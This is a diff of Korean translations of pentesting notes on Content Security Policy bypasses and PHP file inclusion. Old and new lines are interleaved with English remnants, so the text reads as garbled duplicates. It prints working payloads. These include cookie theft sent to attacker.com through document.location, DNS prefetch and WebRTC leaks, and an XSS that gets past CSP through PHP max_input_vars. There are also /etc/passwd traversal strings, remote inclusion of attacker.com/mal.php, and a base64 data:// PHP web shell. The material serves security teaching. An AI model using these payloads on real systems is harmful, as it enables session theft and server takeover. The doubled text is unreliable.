두 방법 모두 CSP 구현 및 브라우저에서의 동작의 미세한 차이를 이용하여, 겉보기에는 안전한 정책이 어떻게 민감한 정보를 우연히 유출할 수 있는지를 보여줍니다.
두 방법 모두 브라우저에서의 CSP 구현과 동작의 미묘한 차이를 악용하며, 겉보기에는 안전해 보이는 정책이 의도치 않게 민감한 정보를 leak할 수 있음을 보여준다.
[**여기**](https://ctftime.org/writeup/29310)에서의 트릭.
트릭 출처: [**here**](https://ctftime.org/writeup/29310).
## CSP 우회를 위한 안전하지 않은 기술
## Unsafe Technologies to Bypass CSP
### 너무 많은 매개변수로 인한 PHP 오류
### PHP에서 params가 너무 많을 때 발생하는 오류
[**이 비디오에서 언급된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 매개변수(1001 GET 매개변수, POST 매개변수 및 20개 이상의 파일로도 가능)를 보내면, 정의된 **`header()`**가 PHP 웹 코드에서 **전송되지 않습니다**. 이는 오류를 유발하기 때문입니다.
이 비디오의 [**마지막 기법**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 파라미터를 전송하면 (1001 GET parameters — POST params나 20개 이상의 파일로도 가능) 이로 인해 발생하는 오류 때문에 PHP 웹 코드에 정의된 어떤 **`header()`**든 **전송되지 않는다**.
### PHP 응답 버퍼 오버로드
PHP는 기본적으로 **4096** 바이트까지 응답을 **버퍼링**하는 것으로 알려져 있습니다. 따라서 PHP가 경고를 표시하는 경우, **경고 안에 충분한 데이터를 제공함으로써**, **응답**이 **CSP 헤더** **이전**에 **전송**되어 헤더가 무시됩니다.\
그런 다음, 이 기술은 기본적으로 **경고로 응답 버퍼를 채우는 것**으로 구성되어 CSP 헤더가 전송되지 않도록 합니다.
PHP는 **기본적으로 응답을 4096 바이트까지 버퍼링**하는 것으로 알려져 있다. 따라서 PHP가 경고를 표시하는 경우, **경고에 충분한 데이터를 포함시키면**, **응답**은 **CSP header보다 먼저** **전송된다**, 그 결과 해당 header는 무시된다.\
그런 다음, 이 기법은 기본적으로 **경고로 응답 버퍼를 채워** CSP header가 전송되지 않도록 만드는 것이다.
[**이 작성물**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)에서 아이디어를 얻었습니다.
아이디어 출처: [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### 오류 페이지 재작성
### max_input_vars를 통한 CSP 무력화 (headers already sent)
[**이 작성물**](https://blog.ssrf.kr/69)에서 CSP 보호를 우회하기 위해 오류 페이지(잠재적으로 CSP가 없는)를 로드하고 그 내용을 재작성하는 것이 가능했던 것으로 보입니다.
헤더는 어떤 출력보다 먼저 전송되어야 하기 때문에, PHP가 발생시키는 경고는 이후의 `header()` 호출을 무효화할 수 있다. 사용자 입력이 `max_input_vars`를 초과하면 PHP는 먼저 startup warning을 발생시키고; 이후의 `header('Content-Security-Policy: ...')` 호출은 “headers already sent” 오류로 실패하여 실질적으로 CSP를 비활성화하고 원래 차단되던 reflective XSS를 허용하게 된다.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
예:
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Rewrite Error Page
이 [**writeup**](https://blog.ssrf.kr/69)에 따르면, 에러 페이지(잠재적으로 CSP가 적용되지 않은)를 로드하고 그 내용을 재작성함으로써 CSP 보호를 우회할 수 있었던 것으로 보입니다.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,40 +644,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME**페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)를 악용하여 **동일 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하고자 하는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용할 실제 엔드포인트의 DOM**에 **접근**할 수 있습니다. 더 많은 정보는 다음을 확인하세요:
SOME는 XSS(또는 매우 제한된 XSS)를 악용하여 페이지의 **in an endpoint of a page**에서 같은 출처의 **other endpoints of the same origin.**를 악용하는 기법입니다. 이는 공격자 페이지에서 vulnerable endpoint를 로드한 뒤, 공격자 페이지를 악용하려는 same origin의 real endpoint로 새로고침함으로써 이루어집니다. 이렇게 하면 **vulnerable endpoint**는 **`opener`** 객체를 **payload** 안에서 사용해 **real endpoint to abuse**의 **DOM**에 접근할 수 있습니다. 자세한 내용은 다음을 확인하세요:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
게다가, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트를 가지고 있으며, 이는 출력에서 **전송된 데이터**를 **반영**합니다(단, 문자, 숫자 및 점만 허용됨).
또한, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** endpoint를 가지고 있으며, 이는 전송된 **data**를 출력에 **reflect**합니다(허용되는 문자는 영문자, 숫자 및 점(.)으로 제한됨).
공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격**을 **생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 안에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**될 것입니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\
이 공격을 수행하는 방법에 대한 더 많은 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)를 확인하세요.
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
엄격한 CSP가 있어 **외부 서버와 상호작용하는** 것을 허용하지 않는 경우, 정보를 유출하기 위해 항상 할 수 있는 몇 가지 방법이 있습니다.
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
### Location
위치 정보를 업데이트하여 공격자의 서버에 비밀 정보를 전송할 수 있습니다:
You could just update the location to send to the attacker's server the secret information:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### 메타 태그
메타 태그를 주입하여 리디렉션할 수 있습니다 (이는 단순한 리디렉션이며, 콘텐츠가 유출되지 않습니다)
메타 태그를 주입하여 리다이렉트할 수 있습니다 (이것은 단지 리다이렉트일 뿐이며, 콘텐츠를 leak하지 않습니다)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용할 수 있도록 캐시합니다.\
브라우저에게 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트명을 IP 주소로 미리 해석하고 나중에 사용할 수 있도록 캐시합니다.\
브라우저에게 호스트명을 미리 해석하도록 지시하려면 다음을 사용하세요: `<link rel="dns-prefetch" href="something.com">`
이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**:
이 동작을 악용하여 **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -668,25 +687,25 @@ body.innerHTML +
sessionid +
'attacker.ch">'
```
다른 방법:
다른 방법:
```javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
러한 일이 발생하지 않도록 서버는 HTTP 헤더를 보낼 수 있습니다:
런 일이 발생하지 않도록 서버는 다음 HTTP header를 전송할 수 있습니다:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> 분명히, 이 기술은 헤드리스 브라우저(봇)에서는 작동하지 않습니다.
> 보통 이 기법은 headless browsers (bots)에서는 작동하지 않는 것 같습니다
### WebRTC
여러 페이지에서 **WebRTC가 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다.
여러 페이지에서 **WebRTC는 CSP의 `connect-src` 정책을 검사하지 않는다**고 읽을 수 있습니다.
실제로 _DNS 요청_을 사용하여 정보를 _leak_할 수 있습니다. 이 코드를 확인해 보세요:
실제로 _leak_ 정보를 _DNS request_를 사용하여 유출할 수 있습니다. 다음 코드를 확인하세요:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -708,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
자격 증명 팝업은 페이지에 의해 제한되지 않고 iconURL에 DNS 요청을 보냅니다. 이는 보안 컨텍스트(HTTPS) 또는 로컬호스트에서만 작동합니다.
Credential 팝업은 페이지에 의해 제한되지 않고 iconURL로 DNS 요청을 보냅니다. 이는 보안 컨텍스트(HTTPS) 또는 localhost에서만 작동합니다.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -728,7 +747,7 @@ iconURL:"https:"+your_data+"example.com"
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## 참고 문헌
## 참고자료
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
@ -738,6 +757,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

View File

@ -4,54 +4,54 @@
## File Inclusion
**Remote File Inclusion (RFI):** 원격 서버에서 파일을 로드합니다 (장점: 코드를 작성하면 서버에서 실행됩니다). php에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
**Remote File Inclusion (RFI):** 원격 서버에서 파일을 로드합니다 (최고: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 이 기능이 **비활성화**되어 있습니다 (**allow_url_include**).\
**Local File Inclusion (LFI):** 서버가 로컬 파일을 로드합니다.
이 취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
취약한 **PHP functions**: require, require_once, include, include_once
이 취약점을 악용하기 위한 유용한 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
이 취약점을 익스플로잇하는 데 유용한 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
## 블라인드 - 흥미로운 - LFI2RCE 파일들
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**여러 *nix LFI 목록을 혼합하고 경로를 추가하여 만든 목록:**
**여러 \*nix LFI 리스트를 혼합하고 경로를 추가해 만든 목록:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Try also to change `/` for `\`\
Try also to add `../../../../../`
또한 `/``\`로 바꿔보세요
또한 `../../../../../`를 추가해 보세요
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
취약점 존재 여부를 확인하기 위해 /etc/password 파일을 찾는 여러 기법을 사용하는 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에 있습니다
### **Windows**
여러 워드리스트를 병합한 것:
여러 wordlists의 병합:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Try also to change `/` for `\`\
Try also to remove `C:/` and add `../../../../../`
또한 `/``\`로 바꿔보세요
또한 `C:/`를 제거하고 `../../../../../`를 추가해 보세요
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
취약점 존재 여부를 확인하기 위해 /boot.ini 파일을 찾는 여러 기법을 사용하는 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에 있습니다
### **OS X**
linux의 LFI 목록을 확인하세요.
Linux의 LFI 리스트를 확인하세요.
## 기본 LFI 및 우회
## Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
모든 예시는 Local File Inclusion에 대한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
제공된 문자열의 끝에 추가 문자가 붙는 것을 우회합니다 (bypass of: $\_GET\['param']."php")
제공된 문자열 끝에 더 많은 문자가 추가되는 것을 우회 (우회 대상: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
내용은 **PHP 5.4 이후로 해결되었습니다**
문제는 **PHP 5.4 이후에 해결되었습니다**
### **인코딩**
비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다:
double URL encode (및 기타)와 같은 비표준 인코딩을 사용할 수 있습니다:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 존 폴더에서
### 존재하는 폴더에서
백엔드가 폴더 경로를 확인하고 있을 수 있습니다:
아마도 백엔드가 폴더 경로를 검사하고 있을 수 있습니다:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### 서버에서 파일 시스템 디렉터리 탐색
서버의 파일 시스템은 특정 기법을 사용해 파일뿐만 아니라 디렉터리를 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 파악하고 특정 폴더의 존재 여부를 확인하는 것을 포함합니다. 아래는 이를 수행하는 자세한 방법입니다:
서버의 파일 시스템은 특정 기법을 사용해 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 확인하고 특정 폴더의 존재를 탐침하는 것을 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:
1. **디렉터리 깊이 확인:** `/etc/passwd` 파일을 성공적으로 가져와 현재 디렉터리의 깊이를 확인합니다(서버가 Linux 기반인 경우 적용). 예시 URL은 다음과 같이 구성될 수 있으며, 깊이가 3임을 나타냅니다:
1. **디렉터리 깊이 확인:** 현재 디렉터리의 깊이는 `/etc/passwd` 파일을 성공적으로 가져오는 것으로 확인합니다(서버가 Linux 기반인 경우 적용 가능). 예시 URL은 다음과 같이 구성될 수 있으며, 이는 깊이가 3임을 나타냅니다:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음, `/etc/passwd`로 다시 이동합니다. 추가된 디렉터리 수준 때문에 depth를 한 단계 증가시켜야 합니다:
2. **폴더 탐색 시도:** URL에 의심되는 폴더 이름(예: `private`)을 추가한 다음, `/etc/passwd`로 돌아가세요. 추가된 디렉터리 레벨 때문에 depth를 하나 증가시켜야 합니다:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **결과 해석:** 서버의 응답은 폴더 존재 여부를 나타냅니다:
- **오류 / 출력 없음:** 지정한 위치에 `private` 폴더가 존재하지 않을 가능성이 큽니다.
3. **결과 해석:** 서버의 응답은 해당 폴더의 존재 여부를 알려줍니다:
- **오류 / 출력 없음:** 지정된 위치에 `private` 폴더가 없을 가능성이 높습니다.
- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다.
4. **재귀적 탐색:** 발견된 폴더는 동일한 기법이나 기존의 Local File Inclusion (LFI) 기법을 사용해 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
4. **재귀적 탐색:** 발견한 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법으로 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어, 현재 디렉토리가 깊이(depth) 3에 있다고 가정할 때 `/var/www/``private` 디렉토리가 있는지 확인하려면 다음을 사용하세요:
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정할 때 `/var/www/``private` 디렉토리가 있는지 확인하려면 다음을 사용하세요:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용하는 기법이다. 파일 경로 끝에 추가 문자를 덧붙이는 특정 보안 조치를 bypass하여 제한된 파일에 접근하는 데 자주 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것이다.
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법이다. 이 방법은 파일 경로 끝에 추가 문자를 붙여 차단하는 일부 보안 조치를 우회해 제한된 파일에 접근하는 데 자주 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것이다.
In PHP에서는 파일 시스템의 특성상 다양한 형태의 파일 경로 표현이 동일하게 처리될 수 있다. 예를 들어:
In PHP에서는 파일 시스템의 특성상 파일 경로의 여러 표현이 동등하게 취급될 수 있다. 예를 들어:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, `/etc/passwd/`는 모두 동일한 경로로 처리된다.
- 마지막 6자가 `passwd`일 때 `/`를 덧붙여 `passwd/`로 만들어도 대상 파일은 변경되지 않는다.
- 마찬가지로 파일 경로 끝에 `.php`가 붙어 있을 경우(예: `shellcode.php`), 끝에 `/.`를 추가해도 접근되는 파일은 달라지지 않는다.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/`는 모두 같은 경로로 처리된다.
- 마지막 6자가 `passwd`일 때, 끝에 `/`를 추가해 `passwd/`로 만들어도 대상 파일은 변경되지 않는다.
- 마찬가지로, 파일 경로 끝에 `.php`가 붙은 경우(예: `shellcode.php`), 끝에 `/.`를 추가해도 접근하는 파일은 변경되지 않는다.
아래 예제들은 민감한 내용(사용자 계정 정보) 때문에 흔히 타깃이 되는 `/etc/passwd`에 접근하기 위해 path truncation을 활용하는 방법을 보여준다:
다음 예제들은 민감한 내용(사용자 계정 정보) 때문에 자주 겨냥되는 `/etc/passwd`에 접근하기 위해 path truncation을 활용하는 방법을 보여준다:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
이러한 시나리오에서는 필요한 traversals 수가 약 2027개 정도일 수 있지만, 이 수는 서버의 구성에 따라 달라집니다.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가 dot segments 및 문자들을 결합하면 파일 시스템을 탐색할 수 있으며, 서버가 덧붙인 문자열을 사실상 무시하게 만들 수 있습니다.
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리로 이동한 뒤 `/etc/passwd`에 도달하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이 과정에서 `.php`와 같은 덧붙여진 문자열이 무력화되더라도 원하는 경로(`/etc/passwd`)는 그대로 유지되도록 할 수 있습니다.
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예방책으로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가적인 dot segments 및 문자를 결합하면 파일 시스템을 탐색하는 데 사용될 수 있으며, 서버가 덧붙인 문자열을 효과적으로 무시할 수 있습니다.
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉토리로 이동한 다음 `/etc/passwd`에 도달하기 위해 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 `.php` 같은 덧붙여진 문자열은 무력화하되 원하는 경로(` /etc/passwd`)는 그대로 유지되도록 합니다.
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉토리(예: `a/`)로 시작하는 것은 흔한 관행입니다. 이 기법은 예방 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
path truncation techniques를 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 자주 필요합니다.
**This vulnerability was corrected in PHP 5.3.**
**이 취약점은 PHP 5.3에서 수정되었습니다.**
### **Filter bypass tricks**
```
@ -145,25 +145,25 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
php에서는 기본적으로 비활성화되어 있습니다. 이는 **`allow_url_include`**가 **Off.**이기 때문이며, 작동하려면 **On**이어야 합니다. 그 경우 서버에서 PHP 파일을 include하여 RCE를 얻을 수 있습니다:
php에서는 기본적으로 비활성화되어 있습니다. 이는 **`allow_url_include`**가 **Off**이기 때문입니다. 작동하려면 **On**이어야 하며, 그 경우 서버의 PHP 파일을 include하여 RCE를 얻을 수 있습니다:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
어떤 이유로 **`allow_url_include`**가 **On**이고 PHP가 외부 웹페이지 접근을 **필터링**하고 있다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data protocol과 base64를 사용해 b64 PHP 코드를 디코드하여 RCE를 얻을 수 있습니다:
만약 어떤 이유로 **`allow_url_include`**가 **On**이지만 PHP가 외부 웹페이지 접근을 **filtering**하고 있다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코드하고 RCE를 얻을 수 있습니다:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> 이전 코드에서, 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열을 필요로 했기 때문에 추가된 것이다. 그래서 문자열은 그것으로 끝나고 b64 decode 이후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드는 포함되어 (따라서 실행된다).
> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열을 필요로 했기 때문에 추가되었으며, 따라서 문자열은 그것으로 끝나고 b64 디코딩 후 해당 부분은 단순히 쓸모없는 데이터를 반환하고 실제 PHP 코드가 포함(따라서 실행)됩니다.
다른 예로 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같다:
다른 예, **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python 루트 요소
다음과 같은 코드에서 python의 경우:
python에서 다음과 같은 코드의 경우:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -175,15 +175,15 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
이는 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
> 컴포넌트가 절대 경로인 경우 이전의 모든 컴포넌트는 버려지고 결합은 절대 경로 컴포넌트에서 계속됩니다.
> 컴포넌트가 절대 경로인 경우, 이전의 모든 컴포넌트는 버려지고 결합은 절대 경로 컴포넌트부터 계속됩니다.
## Java 디렉리 목록
## Java 디렉리 목록
Java에서 Path Traversal이 있고 파일 대신 **ask for a directory**를 요청하면, 디렉터리의 **listing of the directory is returned**가 반환되는 것처럼 보입니다. 다른 언어에서는 이런 일이 발생하지 않는 것 같습니다 (내가 알기로는).
Java에서 Path Traversal이 있을 경우 파일 대신 디렉토리를 **요청하면**, 디렉토리의 **목록이 반환되는 것 같습니다**. 다른 언어에서는 이런 일이 발생하지 않는 것으로 보입니다(내가 알기로는).
## 상위 25개 파라미터
## 상위 25개 매개변수
다음은 local file inclusion (LFI) 취약점에 노출될 수 있는 상위 25개 파라미터 목록입니다 (출처: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
다음은 local file inclusion (LFI) 취약점에 노출될 수 있는 상위 25개 매개변수 목록입니다 (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ Java에서 Path Traversal이 있고 파일 대신 **ask for a directory**를 요
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## LFI / RFI — PHP 래퍼 및 프로토콜을 사용한
### php://filter
PHP filters allow perform basic **수정 작업**을 데이터가 읽히거나 쓰이기 전에 수행할 수 있게 합니다. 필터는 5가지 범주가 있습니다:
PHP filters는 데이터가 읽히거나 써지기 전에 기본적인 **데이터 수정 작업**을 수행할 수 있게 해준다. 필터는 5가지 카테고리로 나뉜다:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: 데이터에서 태그를 제거합니다( "<" 및 ">" 문자 사이의 모든 내용).
- `string.strip_tags`: 데이터에서 태그 제거 ( "<"와 ">" 문자 사이의 모든 것)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
- `convert.iconv.*` : 다른 인코딩으로 변환(`convert.iconv.<input_enc>.<output_enc>`) . 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
> [!WARNING]
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성할 수 있습니다**, 이는 임의의 텍스트를 쓰거나 include 같은 함수가 임의의 텍스트를 처리하게 하는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 콘텐츠를 압축합니다(많은 정보를 exfiltrate할 때 유용).
- `zlib.inflate`: 데이터를 압축 해제합니다.
- `zlib.deflate`: 콘텐츠를 압축 (많은 정보를 exfiltrate 할 때 유용)
- `zlib.inflate`: 데이터를 압축 해제
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
